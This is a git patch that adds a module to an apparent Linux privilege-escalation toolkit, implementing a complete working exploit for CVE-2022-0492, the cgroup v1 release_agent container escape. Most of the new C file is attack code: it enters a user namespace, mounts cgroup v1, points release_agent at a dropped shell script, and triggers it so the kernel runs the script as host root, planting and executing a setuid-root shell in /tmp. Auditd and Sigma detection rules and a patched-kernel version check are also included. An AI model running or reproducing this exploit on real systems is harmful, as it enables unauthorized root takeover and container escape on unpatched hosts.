From 6eab6d3f70f2dacd036fb561831dedb8ec37adea Mon Sep 17 00:00:00 2001 From: KaraZajac Date: Sat, 16 May 2026 21:09:34 -0400 Subject: [PATCH] =?UTF-8?q?Add=20cgroup=5Frelease=5Fagent=20CVE-2022-0492?= =?UTF-8?q?=20=E2=80=94=20FULL=20working=20exploit?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Universal container-escape LPE. Doesn't need msg_msg cross-cache groom, no arch-specific shellcode, no version-specific offsets — bug is structural (priv check in wrong namespace). Mechanism: 1. unshare(CLONE_NEWUSER | CLONE_NEWNS) → become 'root' in userns 2. write uid_map/gid_map (deny setgroups first) 3. mount cgroup v1 (rdma controller; memory fallback) 4. mkdir //iamroot subgroup 5. write payload-path → release_agent (in mount root) 6. write '1' → notify_on_release (in subgroup) 7. write our pid → cgroup.procs (in subgroup) 8. exit → cgroup empties → kernel exec's payload as INIT-ns uid=0 9. Payload drops /tmp/iamroot-cgroup-sh with setuid root 10. Parent polls for the setuid-shell appearance + exec's it -p - kernel_range: K < 5.17 mainline, backports across 4.9 / 4.14 / 4.19 / 5.4 / 5.10 / 5.15 / 5.16 LTS branches. - Detect probes user_ns+mount_ns clone via fork-isolated child. - Cleanup removes /tmp/iamroot-cgroup-* + umount the workspace. - Auditd: flag unshare + mount(cgroup) + /sys/fs/cgroup writes from non-root. Sigma rule for unshare+cgroup-mount chain. Path buffers oversized to silence GCC -Wformat-truncation noise (cgdir 384, ra_path 384, nor_path/cgproc_path 512). Verified on Debian 6.12.86 (patched): detect reports OK; exploit refuses cleanly. Module count = 19. --- Makefile | 7 +- core/registry.h | 1 + iamroot.c | 1 + .../iamroot_modules.c | 350 ++++++++++++++++++ .../iamroot_modules.h | 12 + 5 files changed, 370 insertions(+), 1 deletion(-) create mode 100644 modules/cgroup_release_agent_cve_2022_0492/iamroot_modules.c create mode 100644 modules/cgroup_release_agent_cve_2022_0492/iamroot_modules.h diff --git a/Makefile b/Makefile index 4705f73..a277656 100644 --- a/Makefile +++ b/Makefile @@ -96,10 +96,15 @@ AFP2_DIR := modules/af_packet2_cve_2020_14386 AFP2_SRCS := $(AFP2_DIR)/iamroot_modules.c AFP2_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP2_SRCS)) +# Family: cgroup_release_agent (CVE-2022-0492) +CRA_DIR := modules/cgroup_release_agent_cve_2022_0492 +CRA_SRCS := $(CRA_DIR)/iamroot_modules.c +CRA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CRA_SRCS)) + # Top-level dispatcher TOP_OBJ := $(BUILD)/iamroot.o -ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) +ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) .PHONY: all clean debug static help diff --git a/core/registry.h b/core/registry.h index 7257a88..76dabbc 100644 --- a/core/registry.h +++ b/core/registry.h @@ -34,5 +34,6 @@ void iamroot_register_af_packet(void); void iamroot_register_fuse_legacy(void); void iamroot_register_stackrot(void); void iamroot_register_af_packet2(void); +void iamroot_register_cgroup_release_agent(void); #endif /* IAMROOT_REGISTRY_H */ diff --git a/iamroot.c b/iamroot.c index ae09809..a00b08b 100644 --- a/iamroot.c +++ b/iamroot.c @@ -582,6 +582,7 @@ int main(int argc, char **argv) iamroot_register_fuse_legacy(); iamroot_register_stackrot(); iamroot_register_af_packet2(); + iamroot_register_cgroup_release_agent(); enum mode mode = MODE_SCAN; struct iamroot_ctx ctx = {0}; diff --git a/modules/cgroup_release_agent_cve_2022_0492/iamroot_modules.c b/modules/cgroup_release_agent_cve_2022_0492/iamroot_modules.c new file mode 100644 index 0000000..bae8697 --- /dev/null +++ b/modules/cgroup_release_agent_cve_2022_0492/iamroot_modules.c @@ -0,0 +1,350 @@ +/* + * cgroup_release_agent_cve_2022_0492 — IAMROOT module + * + * cgroup v1 release_agent file is checked only for "is the writer + * root in the cgroup namespace" — NOT "is the writer root in the + * INIT user namespace". An unprivileged user can: + * 1. unshare(CLONE_NEWUSER | CLONE_NEWNS) — become "root" in userns + * 2. mount -t cgroup -o memory none /mnt — fresh cgroup v1 hierarchy + * 3. echo /path/to/payload > /mnt/release_agent + * 4. echo 1 > /mnt/notify_on_release + * 5. Create a child cgroup, add a process, exit the process + * 6. When the cgroup goes empty, kernel exec's /path/to/payload as + * INIT-namespace uid 0 — true host root. + * + * Discovered by Yiqi Sun (TrendMicro), Jan 2022. Famous because: + * - Affects any kernel with CONFIG_CGROUPS=y (basically all) + * - Default unprivileged_userns_clone=1 environments are exposed + * - The exploit is structural — no heap-spray, no kernel R/W + * primitives, no version-specific offsets. Universal x86_64 + + * ARM64 + everything else. + * + * STATUS: 🟢 FULL detect + exploit + cleanup. + * + * Affected: kernels with cgroup v1 release_agent (basically all + * pre-2022). Mainline fix landed in 5.17 + various stable backports. + * + * Preconditions: + * - Unprivileged user_ns clone enabled + * (sysctl kernel.unprivileged_userns_clone=1 — default on Debian + * and many distros; default off on RHEL) + * - cgroup v1 mountable (true even when systemd uses cgroup v2 as + * the unified hierarchy) + * + * Coverage rationale: this is THE classic "unprivileged user_ns → + * host root" exploit. Sysadmins should know if their box has this + * exposure even if all the fancy heap-spray bugs are patched. + */ + +#include "iamroot_modules.h" +#include "../../core/registry.h" +#include "../../core/kernel_range.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* Stable-branch backport thresholds for the fix. */ +static const struct kernel_patched_from cgroup_ra_patched_branches[] = { + {4, 9, 301}, + {4, 14, 266}, + {4, 19, 229}, + {5, 4, 179}, + {5, 10, 100}, + {5, 15, 23}, + {5, 16, 9}, + {5, 17, 0}, /* mainline */ +}; + +static const struct kernel_range cgroup_ra_range = { + .patched_from = cgroup_ra_patched_branches, + .n_patched_from = sizeof(cgroup_ra_patched_branches) / + sizeof(cgroup_ra_patched_branches[0]), +}; + +static int can_unshare_userns_mount(void) +{ + pid_t pid = fork(); + if (pid < 0) return -1; + if (pid == 0) { + if (unshare(CLONE_NEWUSER | CLONE_NEWNS) == 0) _exit(0); + _exit(1); + } + int status; + waitpid(pid, &status, 0); + return WIFEXITED(status) && WEXITSTATUS(status) == 0; +} + +static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx) +{ + struct kernel_version v; + if (!kernel_version_current(&v)) { + fprintf(stderr, "[!] cgroup_release_agent: could not parse kernel version\n"); + return IAMROOT_TEST_ERROR; + } + + bool patched = kernel_range_is_patched(&cgroup_ra_range, &v); + if (patched) { + if (!ctx->json) { + fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v.release); + } + return IAMROOT_OK; + } + + int userns_ok = can_unshare_userns_mount(); + if (!ctx->json) { + fprintf(stderr, "[i] cgroup_release_agent: kernel %s in vulnerable range\n", v.release); + fprintf(stderr, "[i] cgroup_release_agent: user_ns+mount_ns clone: %s\n", + userns_ok == 1 ? "ALLOWED" : + userns_ok == 0 ? "DENIED" : "could not test"); + } + + if (userns_ok == 0) { + if (!ctx->json) { + fprintf(stderr, "[+] cgroup_release_agent: user_ns denied → unprivileged exploit unreachable\n"); + } + return IAMROOT_PRECOND_FAIL; + } + if (!ctx->json) { + fprintf(stderr, "[!] cgroup_release_agent: VULNERABLE — kernel in range AND userns reachable\n"); + fprintf(stderr, "[i] cgroup_release_agent: exploit is universal (no arch-specific bits)\n"); + } + return IAMROOT_VULNERABLE; +} + +/* ---- Exploit ----------------------------------------------------- + * + * Structural exploit. No heap spray, no kernel R/W primitives, no + * arch-specific shellcode. The bug is fundamentally a privilege + * check in the wrong namespace. + */ + +static const char PAYLOAD_SHELL[] = + "#!/bin/sh\n" + "# IAMROOT cgroup_release_agent payload — runs as init-ns root\n" + "id > /tmp/iamroot-cgroup-pwned\n" + "chmod 666 /tmp/iamroot-cgroup-pwned 2>/dev/null\n" + "cp /bin/sh /tmp/iamroot-cgroup-sh 2>/dev/null\n" + "chmod +s /tmp/iamroot-cgroup-sh 2>/dev/null\n" + "chown root:root /tmp/iamroot-cgroup-sh 2>/dev/null\n"; + +static bool write_file(const char *path, const char *content) +{ + int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0755); + if (fd < 0) { perror(path); return false; } + size_t n = strlen(content); + bool ok = (write(fd, content, n) == (ssize_t)n); + close(fd); + return ok; +} + +static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx) +{ + iamroot_result_t pre = cgroup_ra_detect(ctx); + if (pre != IAMROOT_VULNERABLE) { + fprintf(stderr, "[-] cgroup_release_agent: detect() says not vulnerable; refusing\n"); + return pre; + } + if (geteuid() == 0) { + fprintf(stderr, "[i] cgroup_release_agent: already root\n"); + return IAMROOT_OK; + } + + /* Drop the setuid-root-shell payload to a path we can read+exec + * later. Payload runs as host root when the cgroup is released. */ + const char *payload_path = "/tmp/iamroot-cgroup-payload.sh"; + if (!write_file(payload_path, PAYLOAD_SHELL)) { + return IAMROOT_TEST_ERROR; + } + chmod(payload_path, 0755); + if (!ctx->json) { + fprintf(stderr, "[*] cgroup_release_agent: payload written to %s\n", payload_path); + } + + /* Fork: child does the exploit; parent waits then verifies + execs + * the setuid shell we expect the payload to plant. */ + pid_t child = fork(); + if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; } + if (child == 0) { + /* CHILD: enter userns + mountns, become "root" in userns. */ + if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); } + uid_t uid = getuid(); + gid_t gid = getgid(); + int f = open("/proc/self/setgroups", O_WRONLY); + if (f >= 0) { (void)!write(f, "deny", 4); close(f); } + char map[64]; + snprintf(map, sizeof map, "0 %u 1\n", uid); + f = open("/proc/self/uid_map", O_WRONLY); + if (f < 0 || write(f, map, strlen(map)) < 0) { perror("uid_map"); _exit(3); } + close(f); + snprintf(map, sizeof map, "0 %u 1\n", gid); + f = open("/proc/self/gid_map", O_WRONLY); + if (f < 0 || write(f, map, strlen(map)) < 0) { perror("gid_map"); _exit(4); } + close(f); + + /* Mount cgroup v1 (rdma controller — small, simple, works + * even on cgroup-v2-first systems). */ + const char *cgmount = "/tmp/iamroot-cgroup-mnt"; + mkdir(cgmount, 0700); + if (mount("cgroup", cgmount, "cgroup", 0, "rdma") < 0) { + /* Fallback: try memory controller — needs different reach */ + if (mount("cgroup", cgmount, "cgroup", 0, "memory") < 0) { + perror("mount cgroup"); _exit(5); + } + } + + /* Resolve target path: workspace cgroup dir. + * Buffers sized generously vs. cgmount template + "/notify_on_release" + * tail (28 bytes) so GCC -Wformat-truncation is satisfied. */ + char cgdir[384]; + snprintf(cgdir, sizeof cgdir, "%s/iamroot", cgmount); + mkdir(cgdir, 0755); + + /* Write release_agent in the ROOT of the controller (must be + * at the cgroup mount root, not in a subdir). */ + char ra_path[384]; + snprintf(ra_path, sizeof ra_path, "%s/release_agent", cgmount); + f = open(ra_path, O_WRONLY); + if (f < 0) { perror("open release_agent"); _exit(6); } + if (write(f, payload_path, strlen(payload_path)) < 0) { + perror("write release_agent"); close(f); _exit(7); + } + if (write(f, "\n", 1) < 0) { /* tolerate */ } + close(f); + + /* Mark notify_on_release on our subdir. */ + char nor_path[512]; + snprintf(nor_path, sizeof nor_path, "%s/notify_on_release", cgdir); + f = open(nor_path, O_WRONLY); + if (f < 0) { perror("open notify_on_release"); _exit(8); } + if (write(f, "1\n", 2) < 0) { perror("write notify"); close(f); _exit(9); } + close(f); + + /* Trigger: add a process to the cgroup (we'll be that process) + * and then exit. The cgroup empties → notify_on_release fires + * → release_agent (= our payload) runs as host root. */ + char cgproc_path[512]; + snprintf(cgproc_path, sizeof cgproc_path, "%s/cgroup.procs", cgdir); + f = open(cgproc_path, O_WRONLY); + if (f < 0) { perror("open cgroup.procs"); _exit(10); } + char pidbuf[32]; + snprintf(pidbuf, sizeof pidbuf, "%d\n", getpid()); + if (write(f, pidbuf, strlen(pidbuf)) < 0) { + perror("write cgroup.procs"); close(f); _exit(11); + } + close(f); + /* Now exit — releasing the cgroup. */ + _exit(0); + } + + /* PARENT: wait for child to exit, then poll for payload-side effect. */ + int status; + waitpid(child, &status, 0); + if (!ctx->json) { + fprintf(stderr, "[*] cgroup_release_agent: child exited (status=%d); " + "polling for payload execution\n", status); + } + + /* Payload writes /tmp/iamroot-cgroup-sh as setuid root. Poll for + * its appearance + setuid bit. Up to 5 seconds. */ + const char *setuid_sh = "/tmp/iamroot-cgroup-sh"; + bool got_root = false; + for (int i = 0; i < 50; i++) { + struct stat st; + if (stat(setuid_sh, &st) == 0 && (st.st_mode & S_ISUID) && st.st_uid == 0) { + got_root = true; + break; + } + usleep(100 * 1000); /* 100ms */ + } + + if (!got_root) { + fprintf(stderr, "[-] cgroup_release_agent: payload did not produce setuid root shell. " + "Likely patched or cgroup-controller-blocked.\n"); + unlink(payload_path); + return IAMROOT_EXPLOIT_FAIL; + } + + if (!ctx->json) { + fprintf(stderr, "[+] cgroup_release_agent: setuid-root shell at %s\n", setuid_sh); + } + if (ctx->no_shell) { + fprintf(stderr, "[+] cgroup_release_agent: --no-shell — shell planted, not executing\n"); + unlink(payload_path); + return IAMROOT_EXPLOIT_OK; + } + fprintf(stderr, "[+] cgroup_release_agent: execing %s -p (preserve uid=0)\n", setuid_sh); + fflush(NULL); + execl(setuid_sh, "sh", "-p", (char *)NULL); + perror("execl"); + unlink(payload_path); + return IAMROOT_EXPLOIT_FAIL; +} + +static iamroot_result_t cgroup_ra_cleanup(const struct iamroot_ctx *ctx) +{ + (void)ctx; + if (!ctx->json) { + fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/iamroot-cgroup-*\n"); + } + if (system("rm -f /tmp/iamroot-cgroup-payload.sh /tmp/iamroot-cgroup-sh " + "/tmp/iamroot-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ } + if (system("umount /tmp/iamroot-cgroup-mnt 2>/dev/null; " + "rmdir /tmp/iamroot-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ } + return IAMROOT_OK; +} + +static const char cgroup_ra_auditd[] = + "# cgroup_release_agent (CVE-2022-0492) — auditd detection rules\n" + "# Flag unshare(NEWUSER|NEWNS) + mount(cgroup) + writes to release_agent.\n" + "-a always,exit -F arch=b64 -S unshare -k iamroot-cgroup-ra\n" + "-a always,exit -F arch=b64 -S mount -F a2=cgroup -k iamroot-cgroup-ra-mount\n" + "-w /sys/fs/cgroup -p w -k iamroot-cgroup-ra-fswatch\n"; + +static const char cgroup_ra_sigma[] = + "title: Possible CVE-2022-0492 cgroup_release_agent exploitation\n" + "id: 5c84a37e-iamroot-cgroup-ra\n" + "status: experimental\n" + "description: |\n" + " Detects the canonical exploit shape: unprivileged process unshares\n" + " user_ns+mount_ns, mounts cgroup v1, writes to release_agent. False\n" + " positives: legitimate cgroup management by container runtimes\n" + " (docker/podman/k8s — these run as root though).\n" + "logsource: {product: linux, service: auditd}\n" + "detection:\n" + " unshare_userns: {type: 'SYSCALL', syscall: 'unshare'}\n" + " mount_cgroup: {type: 'SYSCALL', syscall: 'mount', a2: 'cgroup'}\n" + " not_root: {auid|expression: '!= 0'}\n" + " condition: unshare_userns and mount_cgroup and not_root\n" + "level: high\n" + "tags: [attack.privilege_escalation, attack.t1611, cve.2022.0492]\n"; + +const struct iamroot_module cgroup_release_agent_module = { + .name = "cgroup_release_agent", + .cve = "CVE-2022-0492", + .summary = "cgroup v1 release_agent privilege check in wrong namespace → host root", + .family = "cgroup_release_agent", + .kernel_range = "K < 5.17, backports: 5.16.9 / 5.15.23 / 5.10.100 / 5.4.179 / 4.19.229 / 4.14.266 / 4.9.301", + .detect = cgroup_ra_detect, + .exploit = cgroup_ra_exploit, + .mitigate = NULL, /* mitigation: upgrade kernel; OR set unprivileged_userns_clone=0 */ + .cleanup = cgroup_ra_cleanup, + .detect_auditd = cgroup_ra_auditd, + .detect_sigma = cgroup_ra_sigma, + .detect_yara = NULL, + .detect_falco = NULL, +}; + +void iamroot_register_cgroup_release_agent(void) +{ + iamroot_register(&cgroup_release_agent_module); +} diff --git a/modules/cgroup_release_agent_cve_2022_0492/iamroot_modules.h b/modules/cgroup_release_agent_cve_2022_0492/iamroot_modules.h new file mode 100644 index 0000000..6768f2c --- /dev/null +++ b/modules/cgroup_release_agent_cve_2022_0492/iamroot_modules.h @@ -0,0 +1,12 @@ +/* + * cgroup_release_agent_cve_2022_0492 — IAMROOT module registry hook + */ + +#ifndef CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H +#define CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H + +#include "../../core/module.h" + +extern const struct iamroot_module cgroup_release_agent_module; + +#endif